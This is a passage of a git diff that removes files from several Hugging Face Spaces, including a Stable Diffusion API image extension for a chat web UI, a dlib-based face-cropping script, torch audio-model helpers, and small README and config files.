-    description = re.sub('<audio.*?</audio>', ' ', description)
-    description = f"({description}:1)"
-
-    payload = {
-        "prompt": params['prompt_prefix'] + description,
-        "seed": params['seed'],
-        "sampler_name": params['sampler_name'],
-        "enable_hr": params['enable_hr'],
-        "hr_scale": params['hr_scale'],
-        "hr_upscaler": params['hr_upscaler'],
-        "denoising_strength": params['denoising_strength'],
-        "steps": params['steps'],
-        "cfg_scale": params['cfg_scale'],
-        "width": params['width'],
-        "height": params['height'],
-        "restore_faces": params['restore_faces'],
-        "override_settings_restore_afterwards": True,
-        "negative_prompt": params['negative_prompt']
-    }
-
-    print(f'Prompting the image generator via the API on {params["address"]}...')
-    response = requests.post(url=f'{params["address"]}/sdapi/v1/txt2img', json=payload)
-    response.raise_for_status()
-    r = response.json()
-
-    visible_result = ""
-    for img_str in r['images']:
-        if params['save_img']:
-            img_data = base64.b64decode(img_str)
-
-            variadic = f'{date.today().strftime("%Y_%m_%d")}/{character}_{int(time.time())}'
-            output_file = Path(f'extensions/sd_api_pictures/outputs/{variadic}.png')
-            output_file.parent.mkdir(parents=True, exist_ok=True)
-
-            with open(output_file.as_posix(), 'wb') as f:
-                f.write(img_data)
-
-            visible_result = visible_result + f'<img src="/file/extensions/sd_api_pictures/outputs/{variadic}.png" alt="{description}" style="max-width: unset; max-height: unset;">\n'
-        else:
-            image = Image.open(io.BytesIO(base64.b64decode(img_str.split(",", 1)[0])))
-            # lower the resolution of received images for the chat, otherwise the log size gets out of control quickly with all the base64 values in visible history
-            image.thumbnail((300, 300))
-            buffered = io.BytesIO()
-            image.save(buffered, format="JPEG")
-            buffered.seek(0)
-            image_bytes = buffered.getvalue()
-            img_str = "data:image/jpeg;base64," + base64.b64encode(image_bytes).decode()
-            visible_result = visible_result + f'<img src="{img_str}" alt="{description}">\n'
-
-    if params['manage_VRAM']:
-        give_VRAM_priority('LLM')
-
-    return visible_result
-
-# TODO: how do I make the UI history ignore the resulting pictures (I don't want HTML to appear in history)
-# and replace it with 'text' for the purposes of logging?
-def output_modifier(string, state):
-    """
-    This function is applied to the model outputs.
-    """
-
-    global picture_response, params
-
-    if not picture_response:
-        return string
-
-    string = remove_surrounded_chars(string)
-    string = string.replace('"', '')
-    string = string.replace('“', '')
-    string = string.replace('\n', ' ')
-    string = string.strip()
-
-    if string == '':
-        string = 'no viable description in reply, try regenerating'
-        return string
-
-    text = ""
-    if (params['mode'] < 2):
-        toggle_generation(False)
-        text = f'*Sends a picture which portrays: “{string}”*'
-    else:
-        text = string
-
-    string = get_SD_pictures(string, state['character_menu']) + "\n" + text
-
-    return string
-
-
-def bot_prefix_modifier(string):
-    """
-    This function is only applied in chat mode. It modifies
-    the prefix text for the Bot and can be used to bias its
-    behavior.
-    """
-
-    return string
-
-
-def toggle_generation(*args):
-    global picture_response, shared
-
-    if not args:
-        picture_response = not picture_response
-    else:
-        picture_response = args[0]
-
-    shared.processing_message = "*Is sending a picture...*" if picture_response else "*Is typing...*"
-
-
-def filter_address(address):
-    address = address.strip()
-    # address = re.sub('http(s)?:\/\/|\/$','',address) # remove starting http:// OR https:// OR trailing slash
-    address = re.sub('\/$', '', address)  # remove trailing /s
-    if not address.startswith('http'):
-        address = 'http://' + address
-    return address
-
-
-def SD_api_address_update(address):
-    global params
-
-    msg = "✔️ SD API is found on:"
-    address = filter_address(address)
-    params.update({"address": address})
-    try:
-        response = requests.get(url=f'{params["address"]}/sdapi/v1/sd-models')
-        response.raise_for_status()
-        # r = response.json()
-    except:
-        msg = "❌ No SD API endpoint on:"
-
-    return gr.Textbox.update(label=msg)
-
-
-def custom_css():
-    path_to_css = Path(__file__).parent.resolve() / 'style.css'
-    return open(path_to_css, 'r').read()
-
-
-def get_checkpoints():
-    global params
-
-    try:
-        models = requests.get(url=f'{params["address"]}/sdapi/v1/sd-models')
-        options = requests.get(url=f'{params["address"]}/sdapi/v1/options')
-        options_json = options.json()
-        params['sd_checkpoint'] = options_json['sd_model_checkpoint']
-        params['checkpoint_list'] = [result["title"] for result in models.json()]
-    except:
-        params['sd_checkpoint'] = ""
-        params['checkpoint_list'] = []
-
-    return gr.update(choices=params['checkpoint_list'], value=params['sd_checkpoint'])
-
-
-def load_checkpoint(checkpoint):
-    payload = {
-        "sd_model_checkpoint": checkpoint
-    }
-
-    try:
-        requests.post(url=f'{params["address"]}/sdapi/v1/options', json=payload)
-    except:
-        pass
-
-
-def get_samplers():
-    try:
-        response = requests.get(url=f'{params["address"]}/sdapi/v1/samplers')
-        response.raise_for_status()
-        samplers = [x["name"] for x in response.json()]
-    except:
-        samplers = []
-
-    return samplers
-
-
-def ui():
-
-    # Gradio elements
-    # gr.Markdown('### Stable Diffusion API Pictures') # Currently the name of extension is shown as the title
-    with gr.Accordion("Parameters", open=True, elem_classes="SDAP"):
-        with gr.Row():
-            address = gr.Textbox(placeholder=params['address'], value=params['address'], label='Auto1111\'s WebUI address')
-            modes_list = ["Manual", "Immersive/Interactive", "Picturebook/Adventure"]
-            mode = gr.Dropdown(modes_list, value=modes_list[params['mode']], label="Mode of operation", type="index")
-            with gr.Column(scale=1, min_width=300):
-                manage_VRAM = gr.Checkbox(value=params['manage_VRAM'], label='Manage VRAM')
-                save_img = gr.Checkbox(value=params['save_img'], label='Keep original images and use them in chat')
-
-            force_pic = gr.Button("Force the picture response")
-            suppr_pic = gr.Button("Suppress the picture response")
-        with gr.Row():
-            checkpoint = gr.Dropdown(params['checkpoint_list'], value=params['sd_checkpoint'], label="Checkpoint", type="value")
-            update_checkpoints = gr.Button("Get list of checkpoints")
-
-        with gr.Accordion("Generation parameters", open=False):
-            prompt_prefix = gr.Textbox(placeholder=params['prompt_prefix'], value=params['prompt_prefix'], label='Prompt Prefix (best used to describe the look of the character)')
-            textgen_prefix = gr.Textbox(placeholder=params['textgen_prefix'], value=params['textgen_prefix'], label='textgen prefix (type [subject] where the subject should be placed)')
-            negative_prompt = gr.Textbox(placeholder=params['negative_prompt'], value=params['negative_prompt'], label='Negative Prompt')
-            with gr.Row():
-                with gr.Column():
-                    width = gr.Slider(64, 2048, value=params['width'], step=64, label='Width')
-                    height = gr.Slider(64, 2048, value=params['height'], step=64, label='Height')
-                with gr.Column(variant="compact", elem_id="sampler_col"):
-                    with gr.Row(elem_id="sampler_row"):
-                        sampler_name = gr.Dropdown(value=params['sampler_name'], allow_custom_value=True, label='Sampling method', elem_id="sampler_box")
-                        create_refresh_button(sampler_name, lambda: None, lambda: {'choices': get_samplers()}, 'refresh-button')
-                    steps = gr.Slider(1, 150, value=params['steps'], step=1, label="Sampling steps", elem_id="steps_box")
-            with gr.Row():
-                seed = gr.Number(label="Seed", value=params['seed'], elem_id="seed_box")
-                cfg_scale = gr.Number(label="CFG Scale", value=params['cfg_scale'], elem_id="cfg_box")
-                with gr.Column() as hr_options:
-                    restore_faces = gr.Checkbox(value=params['restore_faces'], label='Restore faces')
-                    enable_hr = gr.Checkbox(value=params['enable_hr'], label='Hires. fix')
-            with gr.Row(visible=params['enable_hr'], elem_classes="hires_opts") as hr_options:
-                hr_scale = gr.Slider(1, 4, value=params['hr_scale'], step=0.1, label='Upscale by')
-                denoising_strength = gr.Slider(0, 1, value=params['denoising_strength'], step=0.01, label='Denoising strength')
-                hr_upscaler = gr.Textbox(placeholder=params['hr_upscaler'], value=params['hr_upscaler'], label='Upscaler')
-
-    # Event functions to update the parameters in the backend
-    address.change(lambda x: params.update({"address": filter_address(x)}), address, None)
-    mode.select(lambda x: params.update({"mode": x}), mode, None)
-    mode.select(lambda x: toggle_generation(x > 1), inputs=mode, outputs=None)
-    manage_VRAM.change(lambda x: params.update({"manage_VRAM": x}), manage_VRAM, None)
-    manage_VRAM.change(lambda x: give_VRAM_priority('set' if x else 'reset'), inputs=manage_VRAM, outputs=None)
-    save_img.change(lambda x: params.update({"save_img": x}), save_img, None)
-
-    address.submit(fn=SD_api_address_update, inputs=address, outputs=address)
-    prompt_prefix.change(lambda x: params.update({"prompt_prefix": x}), prompt_prefix, None)
-    textgen_prefix.change(lambda x: params.update({"textgen_prefix": x}), textgen_prefix, None)
-    negative_prompt.change(lambda x: params.update({"negative_prompt": x}), negative_prompt, None)
-    width.change(lambda x: params.update({"width": x}), width, None)
-    height.change(lambda x: params.update({"height": x}), height, None)
-    hr_scale.change(lambda x: params.update({"hr_scale": x}), hr_scale, None)
-    denoising_strength.change(lambda x: params.update({"denoising_strength": x}), denoising_strength, None)
-    restore_faces.change(lambda x: params.update({"restore_faces": x}), restore_faces, None)
-    hr_upscaler.change(lambda x: params.update({"hr_upscaler": x}), hr_upscaler, None)
-    enable_hr.change(lambda x: params.update({"enable_hr": x}), enable_hr, None)
-    enable_hr.change(lambda x: hr_options.update(visible=params["enable_hr"]), enable_hr, hr_options)
-    update_checkpoints.click(get_checkpoints, None, checkpoint)
-    checkpoint.change(lambda x: params.update({"sd_checkpoint": x}), checkpoint, None)
-    checkpoint.change(load_checkpoint, checkpoint, None)
-
-    sampler_name.change(lambda x: params.update({"sampler_name": x}), sampler_name, None)
-    steps.change(lambda x: params.update({"steps": x}), steps, None)
-    seed.change(lambda x: params.update({"seed": x}), seed, None)
-    cfg_scale.change(lambda x: params.update({"cfg_scale": x}), cfg_scale, None)
-
-    force_pic.click(lambda x: toggle_generation(True), inputs=force_pic, outputs=None)
-    suppr_pic.click(lambda x: toggle_generation(False), inputs=suppr_pic, outputs=None)
diff --git a/spaces/leogabraneth/text-generation-webui-main/modules/relative_imports.py b/spaces/leogabraneth/text-generation-webui-main/modules/relative_imports.py
deleted file mode 100644
index 3c0eb56b77c6cb6b38fdbdeebabe9ad3b8d91b97..0000000000000000000000000000000000000000
--- a/spaces/leogabraneth/text-generation-webui-main/modules/relative_imports.py
+++ /dev/null
@@ -1,13 +0,0 @@
-import sys
-from pathlib import Path
-
-
-class RelativeImport:
-    def __init__(self, path):
-        self.import_path = Path(path)
-
-    def __enter__(self):
-        sys.path.insert(0, str(self.import_path))
-
-    def __exit__(self, exc_type, exc_value, traceback):
-        sys.path.remove(str(self.import_path))
diff --git a/spaces/leurez/moss/src/views/chat/hooks/useUsingContext.ts b/spaces/leurez/moss/src/views/chat/hooks/useUsingContext.ts
deleted file mode 100644
index 8b7c800ca4fa9bc14df4a11751f66e8ee2d4abbb..0000000000000000000000000000000000000000
--- a/spaces/leurez/moss/src/views/chat/hooks/useUsingContext.ts
+++ /dev/null
@@ -1,23 +0,0 @@
-import { computed } from 'vue'
-import { useMessage } from 'naive-ui'
-import { t } from '@/locales'
-import { useChatStore } from '@/store'
-
-export function useUsingContext() {
-  const ms = useMessage()
-  const chatStore = useChatStore()
-  const usingContext = computed<boolean>(() => chatStore.usingContext)
-
-  function toggleUsingContext() {
-    chatStore.setUsingContext(!usingContext.value)
-    if (usingContext.value)
-      ms.success(t('chat.turnOnContext'))
-    else
-      ms.warning(t('chat.turnOffContext'))
-  }
-
-  return {
-    usingContext,
-    toggleUsingContext,
-  }
-}
diff --git a/spaces/lewisliuX123/wechatgpt3/README.md b/spaces/lewisliuX123/wechatgpt3/README.md
deleted file mode 100644
index 5526afb9515ec671563704bf807b90632ead99f7..0000000000000000000000000000000000000000
--- a/spaces/lewisliuX123/wechatgpt3/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: wechat-bot
-emoji: 👀
-colorFrom: red
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.19.1
-app_file: app.py
-pinned: false
-duplicated_from: lewisliuX123/wechatgpt35
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
\ No newline at end of file
diff --git a/spaces/lightli/bingo-newbing/src/pages/api/healthz.ts b/spaces/lightli/bingo-newbing/src/pages/api/healthz.ts
deleted file mode 100644
index f6ae44ff0fd66ccd3f7feaa550025fbf2a83bf77..0000000000000000000000000000000000000000
--- a/spaces/lightli/bingo-newbing/src/pages/api/healthz.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-'use server'
-
-import { NextApiRequest, NextApiResponse } from 'next'
-
-export default async function handler(req: NextApiRequest, res: NextApiResponse) {
-  res.status(200).end('ok')
-}
diff --git a/spaces/lincquiQcaudo/Top-20-Diffusion/3 Meters Above The Sky 2 In English Free Torrent Download LINK.md b/spaces/lincquiQcaudo/Top-20-Diffusion/3 Meters Above The Sky 2 In English Free Torrent Download LINK.md
deleted file mode 100644
index c81614039b45e19a3351163726bb4627f29d66d2..0000000000000000000000000000000000000000
--- a/spaces/lincquiQcaudo/Top-20-Diffusion/3 Meters Above The Sky 2 In English Free Torrent Download LINK.md	
+++ /dev/null
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diff --git a/spaces/lincquiQcaudo/Top-20-Diffusion/Anestesiologia De Morgan Pdf Gratis.md b/spaces/lincquiQcaudo/Top-20-Diffusion/Anestesiologia De Morgan Pdf Gratis.md
deleted file mode 100644
index 1fbbcc134a9dadd4ebdd2dfc8b65010db2dd1519..0000000000000000000000000000000000000000
--- a/spaces/lincquiQcaudo/Top-20-Diffusion/Anestesiologia De Morgan Pdf Gratis.md	
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diff --git a/spaces/litagin/rvc_okiba_TTS/mygit.sh b/spaces/litagin/rvc_okiba_TTS/mygit.sh
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/lithiumice/SadTalker/src/utils/croper.py b/spaces/lithiumice/SadTalker/src/utils/croper.py
deleted file mode 100644
index 1c9b68459ac6ab7d39ea1bc692e127b064eeeca8..0000000000000000000000000000000000000000
--- a/spaces/lithiumice/SadTalker/src/utils/croper.py
+++ /dev/null
@@ -1,296 +0,0 @@
-import os
-import cv2
-import time
-import glob
-import argparse
-import scipy
-import numpy as np
-from PIL import Image
-from tqdm import tqdm
-from itertools import cycle
-
-from torch.multiprocessing import Pool, Process, set_start_method
-
-
-"""
-brief: face alignment with FFHQ method (https://github.com/NVlabs/ffhq-dataset)
-author: lzhbrian (https://lzhbrian.me)
-date: 2020.1.5
-note: code is heavily borrowed from 
-    https://github.com/NVlabs/ffhq-dataset
-    http://dlib.net/face_landmark_detection.py.html
-requirements:
-    apt install cmake
-    conda install Pillow numpy scipy
-    pip install dlib
-    # download face landmark model from: 
-    # http://dlib.net/files/shape_predictor_68_face_landmarks.dat.bz2
-"""
-
-import numpy as np
-from PIL import Image
-import dlib
-
-
-class Croper:
-    def __init__(self, path_of_lm):
-        # download model from: http://dlib.net/files/shape_predictor_68_face_landmarks.dat.bz2
-        self.predictor = dlib.shape_predictor(path_of_lm)
-
-    def get_landmark(self, img_np):
-        """get landmark with dlib
-        :return: np.array shape=(68, 2)
-        """
-        detector = dlib.get_frontal_face_detector()
-        dets = detector(img_np, 1)
-        #     print("Number of faces detected: {}".format(len(dets)))
-        #     for k, d in enumerate(dets):
-        if len(dets) == 0:
-            return None
-        d = dets[0]
-        # Get the landmarks/parts for the face in box d.
-        shape = self.predictor(img_np, d)
-        #         print("Part 0: {}, Part 1: {} ...".format(shape.part(0), shape.part(1)))
-        t = list(shape.parts())
-        a = []
-        for tt in t:
-            a.append([tt.x, tt.y])
-        lm = np.array(a)
-        # lm is a shape=(68,2) np.array
-        return lm
-
-    def align_face(self, img, lm, output_size=1024):
-        """
-        :param filepath: str
-        :return: PIL Image
-        """
-        lm_chin = lm[0: 17]  # left-right
-        lm_eyebrow_left = lm[17: 22]  # left-right
-        lm_eyebrow_right = lm[22: 27]  # left-right
-        lm_nose = lm[27: 31]  # top-down
-        lm_nostrils = lm[31: 36]  # top-down
-        lm_eye_left = lm[36: 42]  # left-clockwise
-        lm_eye_right = lm[42: 48]  # left-clockwise
-        lm_mouth_outer = lm[48: 60]  # left-clockwise
-        lm_mouth_inner = lm[60: 68]  # left-clockwise
-
-        # Calculate auxiliary vectors.
-        eye_left = np.mean(lm_eye_left, axis=0)
-        eye_right = np.mean(lm_eye_right, axis=0)
-        eye_avg = (eye_left + eye_right) * 0.5
-        eye_to_eye = eye_right - eye_left
-        mouth_left = lm_mouth_outer[0]
-        mouth_right = lm_mouth_outer[6]
-        mouth_avg = (mouth_left + mouth_right) * 0.5
-        eye_to_mouth = mouth_avg - eye_avg
-
-        # Choose oriented crop rectangle.
-        x = eye_to_eye - np.flipud(eye_to_mouth) * [-1, 1]  # 双眼差与双嘴差相加
-        x /= np.hypot(*x)   # hypot函数计算直角三角形的斜边长，用斜边长对三角形两条直边做归一化
-        x *= max(np.hypot(*eye_to_eye) * 2.0, np.hypot(*eye_to_mouth) * 1.8)    # 双眼差和眼嘴差，选较大的作为基准尺度
-        y = np.flipud(x) * [-1, 1]
-        c = eye_avg + eye_to_mouth * 0.1
-        quad = np.stack([c - x - y, c - x + y, c + x + y, c + x - y])   # 定义四边形，以面部基准位置为中心上下左右平移得到四个顶点
-        qsize = np.hypot(*x) * 2    # 定义四边形的大小（边长），为基准尺度的2倍
-
-        # Shrink.
-        # 如果计算出的四边形太大了，就按比例缩小它
-        shrink = int(np.floor(qsize / output_size * 0.5))
-        if shrink > 1:
-            rsize = (int(np.rint(float(img.size[0]) / shrink)), int(np.rint(float(img.size[1]) / shrink)))
-            img = img.resize(rsize, Image.ANTIALIAS)
-            quad /= shrink
-            qsize /= shrink
-
-        # Crop.
-        border = max(int(np.rint(qsize * 0.1)), 3)
-        crop = (int(np.floor(min(quad[:, 0]))), int(np.floor(min(quad[:, 1]))), int(np.ceil(max(quad[:, 0]))),
-                int(np.ceil(max(quad[:, 1]))))
-        crop = (max(crop[0] - border, 0), max(crop[1] - border, 0), min(crop[2] + border, img.size[0]),
-                min(crop[3] + border, img.size[1]))
-        if crop[2] - crop[0] < img.size[0] or crop[3] - crop[1] < img.size[1]:
-            # img = img.crop(crop)
-            quad -= crop[0:2]
-
-        # Pad.
-        pad = (int(np.floor(min(quad[:, 0]))), int(np.floor(min(quad[:, 1]))), int(np.ceil(max(quad[:, 0]))),
-               int(np.ceil(max(quad[:, 1]))))
-        pad = (max(-pad[0] + border, 0), max(-pad[1] + border, 0), max(pad[2] - img.size[0] + border, 0),
-               max(pad[3] - img.size[1] + border, 0))
-        # if enable_padding and max(pad) > border - 4:
-        #     pad = np.maximum(pad, int(np.rint(qsize * 0.3)))
-        #     img = np.pad(np.float32(img), ((pad[1], pad[3]), (pad[0], pad[2]), (0, 0)), 'reflect')
-        #     h, w, _ = img.shape
-        #     y, x, _ = np.ogrid[:h, :w, :1]
-        #     mask = np.maximum(1.0 - np.minimum(np.float32(x) / pad[0], np.float32(w - 1 - x) / pad[2]),
-        #                       1.0 - np.minimum(np.float32(y) / pad[1], np.float32(h - 1 - y) / pad[3]))
-        #     blur = qsize * 0.02
-        #     img += (scipy.ndimage.gaussian_filter(img, [blur, blur, 0]) - img) * np.clip(mask * 3.0 + 1.0, 0.0, 1.0)
-        #     img += (np.median(img, axis=(0, 1)) - img) * np.clip(mask, 0.0, 1.0)
-        #     img = Image.fromarray(np.uint8(np.clip(np.rint(img), 0, 255)), 'RGB')
-        #     quad += pad[:2]
-
-        # Transform.
-        quad = (quad + 0.5).flatten()
-        lx = max(min(quad[0], quad[2]), 0)
-        ly = max(min(quad[1], quad[7]), 0)
-        rx = min(max(quad[4], quad[6]), img.size[0])
-        ry = min(max(quad[3], quad[5]), img.size[0])
-        # img = img.transform((transform_size, transform_size), Image.QUAD, (quad + 0.5).flatten(),
-        #                     Image.BILINEAR)
-        # if output_size < transform_size:
-        #     img = img.resize((output_size, output_size), Image.ANTIALIAS)
-
-        # Save aligned image.
-        return crop, [lx, ly, rx, ry]
-
-    # def crop(self, img_np_list):
-    #     for _i in range(len(img_np_list)):
-    #         img_np = img_np_list[_i]
-    #         lm = self.get_landmark(img_np)
-    #         if lm is None:
-    #             return None
-    #         crop, quad = self.align_face(img=Image.fromarray(img_np), lm=lm, output_size=512)
-    #         clx, cly, crx, cry = crop
-    #         lx, ly, rx, ry = quad
-    #         lx, ly, rx, ry = int(lx), int(ly), int(rx), int(ry)
-        
-    #         _inp = img_np_list[_i]
-    #         _inp = _inp[cly:cry, clx:crx]
-    #         _inp = _inp[ly:ry, lx:rx]
-    #         img_np_list[_i] = _inp
-    #     return img_np_list
-    
-    def crop(self, img_np_list, still=False, xsize=512):    # first frame for all video
-        img_np = img_np_list[0]
-        lm = self.get_landmark(img_np)
-        if lm is None:
-            return None
-        crop, quad = self.align_face(img=Image.fromarray(img_np), lm=lm, output_size=xsize)
-        clx, cly, crx, cry = crop
-        lx, ly, rx, ry = quad
-        lx, ly, rx, ry = int(lx), int(ly), int(rx), int(ry)
-        for _i in range(len(img_np_list)):
-            _inp = img_np_list[_i]
-            _inp = _inp[cly:cry, clx:crx]
-            # cv2.imwrite('test1.jpg', _inp)
-            if not still:
-                _inp = _inp[ly:ry, lx:rx]
-            # cv2.imwrite('test2.jpg', _inp)
-            img_np_list[_i] = _inp
-        return img_np_list, crop, quad
-
-
-def read_video(filename, uplimit=100):
-    frames = []
-    cap = cv2.VideoCapture(filename)
-    cnt = 0
-    while cap.isOpened():
-        ret, frame = cap.read()
-        if ret:
-            frame = cv2.resize(frame, (512, 512))
-            frames.append(frame)
-        else:
-            break
-        cnt += 1
-        if cnt >= uplimit:
-            break
-    cap.release()
-    assert len(frames) > 0, f'{filename}: video with no frames!'
-    return frames
-
-
-def create_video(video_name, frames, fps=25, video_format='.mp4', resize_ratio=1):
-    # video_name = os.path.dirname(image_folder) + video_format
-    # img_list = glob.glob1(image_folder, 'frame*')
-    # img_list.sort()
-    # frame = cv2.imread(os.path.join(image_folder, img_list[0]))
-    # frame = cv2.resize(frame, (0, 0), fx=resize_ratio, fy=resize_ratio)
-    # height, width, layers = frames[0].shape
-    height, width, layers = 512, 512, 3
-    if video_format == '.mp4':
-        fourcc = cv2.VideoWriter_fourcc(*'mp4v')
-    elif video_format == '.avi':
-        fourcc = cv2.VideoWriter_fourcc(*'XVID')
-    video = cv2.VideoWriter(video_name, fourcc, fps, (width, height))
-    for _frame in frames:
-        _frame = cv2.resize(_frame, (height, width), interpolation=cv2.INTER_LINEAR)
-        video.write(_frame)
-
-def create_images(video_name, frames):
-    height, width, layers = 512, 512, 3
-    images_dir = video_name.split('.')[0]
-    os.makedirs(images_dir, exist_ok=True)
-    for i, _frame in enumerate(frames):
-        _frame = cv2.resize(_frame, (height, width), interpolation=cv2.INTER_LINEAR)
-        _frame_path = os.path.join(images_dir, str(i)+'.jpg')
-        cv2.imwrite(_frame_path, _frame)
-
-def run(data):
-    filename, opt, device = data
-    os.environ['CUDA_VISIBLE_DEVICES'] = device
-    croper = Croper()
-
-    frames = read_video(filename, uplimit=opt.uplimit)
-    name = filename.split('/')[-1]  # .split('.')[0]
-    name = os.path.join(opt.output_dir, name)
-
-    frames = croper.crop(frames)
-    if frames is None:
-        print(f'{name}: detect no face. should removed')
-        return
-    # create_video(name, frames)
-    create_images(name, frames)
-
-
-def get_data_path(video_dir):
-    eg_video_files = ['/apdcephfs/share_1290939/quincheng/datasets/HDTF/backup_fps25/WDA_KatieHill_000.mp4']
-    # filenames = list()
-    # VIDEO_EXTENSIONS_LOWERCASE = {'mp4'}
-    # VIDEO_EXTENSIONS = VIDEO_EXTENSIONS_LOWERCASE.union({f.upper() for f in VIDEO_EXTENSIONS_LOWERCASE})
-    # extensions = VIDEO_EXTENSIONS
-    # for ext in extensions:
-    #     filenames = sorted(glob.glob(f'{opt.input_dir}/**/*.{ext}'))
-    # print('Total number of videos:', len(filenames))
-    return eg_video_files
-
-
-def get_wra_data_path(video_dir):
-    if opt.option == 'video':
-        videos_path = sorted(glob.glob(f'{video_dir}/*.mp4'))
-    elif opt.option == 'image':
-        videos_path = sorted(glob.glob(f'{video_dir}/*/'))
-    else:
-        raise NotImplementedError
-    print('Example videos: ', videos_path[:2])
-    return videos_path
-
-
-if __name__ == '__main__':
-    set_start_method('spawn')
-    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
-    parser.add_argument('--input_dir', type=str, help='the folder of the input files')
-    parser.add_argument('--output_dir', type=str, help='the folder of the output files')
-    parser.add_argument('--device_ids', type=str, default='0,1')
-    parser.add_argument('--workers', type=int, default=8)
-    parser.add_argument('--uplimit', type=int, default=500)
-    parser.add_argument('--option', type=str, default='video')
-
-    root = '/apdcephfs/share_1290939/quincheng/datasets/HDTF'
-    cmd = f'--input_dir {root}/backup_fps25_first20s_sync/ ' \
-          f'--output_dir {root}/crop512_stylegan_firstframe_sync/ ' \
-          '--device_ids 0 ' \
-          '--workers 8 ' \
-          '--option video ' \
-          '--uplimit 500 '
-    opt = parser.parse_args(cmd.split())
-    # filenames = get_data_path(opt.input_dir)
-    filenames = get_wra_data_path(opt.input_dir)
-    os.makedirs(opt.output_dir, exist_ok=True)
-    print(f'Video numbers: {len(filenames)}')
-    pool = Pool(opt.workers)
-    args_list = cycle([opt])
-    device_ids = opt.device_ids.split(",")
-    device_ids = cycle(device_ids)
-    for data in tqdm(pool.imap_unordered(run, zip(filenames, args_list, device_ids))):
-        None
\ No newline at end of file
diff --git a/spaces/llamaindex/llama_index_term_definition_demo/README.md b/spaces/llamaindex/llama_index_term_definition_demo/README.md
deleted file mode 100644
index 94f4dbe2329f2c7f5b1cd10b0ff3f4778d04b3a3..0000000000000000000000000000000000000000
--- a/spaces/llamaindex/llama_index_term_definition_demo/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Llama Index Term Definition Demo
-emoji: 🦙📚
-colorFrom: black
-colorTo: pink
-sdk: streamlit
-sdk_version: 1.19.0
-app_file: app.py
-pinned: true
-license: mit
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/lllqqq/so-vits-svc-models-pcr/modules/commons.py b/spaces/lllqqq/so-vits-svc-models-pcr/modules/commons.py
deleted file mode 100644
index 074888006392e956ce204d8368362dbb2cd4e304..0000000000000000000000000000000000000000
--- a/spaces/lllqqq/so-vits-svc-models-pcr/modules/commons.py
+++ /dev/null
@@ -1,188 +0,0 @@
-import math
-import numpy as np
-import torch
-from torch import nn
-from torch.nn import functional as F
-
-def slice_pitch_segments(x, ids_str, segment_size=4):
-  ret = torch.zeros_like(x[:, :segment_size])
-  for i in range(x.size(0)):
-    idx_str = ids_str[i]
-    idx_end = idx_str + segment_size
-    ret[i] = x[i, idx_str:idx_end]
-  return ret
-
-def rand_slice_segments_with_pitch(x, pitch, x_lengths=None, segment_size=4):
-  b, d, t = x.size()
-  if x_lengths is None:
-    x_lengths = t
-  ids_str_max = x_lengths - segment_size + 1
-  ids_str = (torch.rand([b]).to(device=x.device) * ids_str_max).to(dtype=torch.long)
-  ret = slice_segments(x, ids_str, segment_size)
-  ret_pitch = slice_pitch_segments(pitch, ids_str, segment_size)
-  return ret, ret_pitch, ids_str
-
-def init_weights(m, mean=0.0, std=0.01):
-  classname = m.__class__.__name__
-  if classname.find("Conv") != -1:
-    m.weight.data.normal_(mean, std)
-
-
-def get_padding(kernel_size, dilation=1):
-  return int((kernel_size*dilation - dilation)/2)
-
-
-def convert_pad_shape(pad_shape):
-  l = pad_shape[::-1]
-  pad_shape = [item for sublist in l for item in sublist]
-  return pad_shape
-
-
-def intersperse(lst, item):
-  result = [item] * (len(lst) * 2 + 1)
-  result[1::2] = lst
-  return result
-
-
-def kl_divergence(m_p, logs_p, m_q, logs_q):
-  """KL(P||Q)"""
-  kl = (logs_q - logs_p) - 0.5
-  kl += 0.5 * (torch.exp(2. * logs_p) + ((m_p - m_q)**2)) * torch.exp(-2. * logs_q)
-  return kl
-
-
-def rand_gumbel(shape):
-  """Sample from the Gumbel distribution, protect from overflows."""
-  uniform_samples = torch.rand(shape) * 0.99998 + 0.00001
-  return -torch.log(-torch.log(uniform_samples))
-
-
-def rand_gumbel_like(x):
-  g = rand_gumbel(x.size()).to(dtype=x.dtype, device=x.device)
-  return g
-
-
-def slice_segments(x, ids_str, segment_size=4):
-  ret = torch.zeros_like(x[:, :, :segment_size])
-  for i in range(x.size(0)):
-    idx_str = ids_str[i]
-    idx_end = idx_str + segment_size
-    ret[i] = x[i, :, idx_str:idx_end]
-  return ret
-
-
-def rand_slice_segments(x, x_lengths=None, segment_size=4):
-  b, d, t = x.size()
-  if x_lengths is None:
-    x_lengths = t
-  ids_str_max = x_lengths - segment_size + 1
-  ids_str = (torch.rand([b]).to(device=x.device) * ids_str_max).to(dtype=torch.long)
-  ret = slice_segments(x, ids_str, segment_size)
-  return ret, ids_str
-
-
-def rand_spec_segments(x, x_lengths=None, segment_size=4):
-  b, d, t = x.size()
-  if x_lengths is None:
-    x_lengths = t
-  ids_str_max = x_lengths - segment_size
-  ids_str = (torch.rand([b]).to(device=x.device) * ids_str_max).to(dtype=torch.long)
-  ret = slice_segments(x, ids_str, segment_size)
-  return ret, ids_str
-
-
-def get_timing_signal_1d(
-    length, channels, min_timescale=1.0, max_timescale=1.0e4):
-  position = torch.arange(length, dtype=torch.float)
-  num_timescales = channels // 2
-  log_timescale_increment = (
-      math.log(float(max_timescale) / float(min_timescale)) /
-      (num_timescales - 1))
-  inv_timescales = min_timescale * torch.exp(
-      torch.arange(num_timescales, dtype=torch.float) * -log_timescale_increment)
-  scaled_time = position.unsqueeze(0) * inv_timescales.unsqueeze(1)
-  signal = torch.cat([torch.sin(scaled_time), torch.cos(scaled_time)], 0)
-  signal = F.pad(signal, [0, 0, 0, channels % 2])
-  signal = signal.view(1, channels, length)
-  return signal
-
-
-def add_timing_signal_1d(x, min_timescale=1.0, max_timescale=1.0e4):
-  b, channels, length = x.size()
-  signal = get_timing_signal_1d(length, channels, min_timescale, max_timescale)
-  return x + signal.to(dtype=x.dtype, device=x.device)
-
-
-def cat_timing_signal_1d(x, min_timescale=1.0, max_timescale=1.0e4, axis=1):
-  b, channels, length = x.size()
-  signal = get_timing_signal_1d(length, channels, min_timescale, max_timescale)
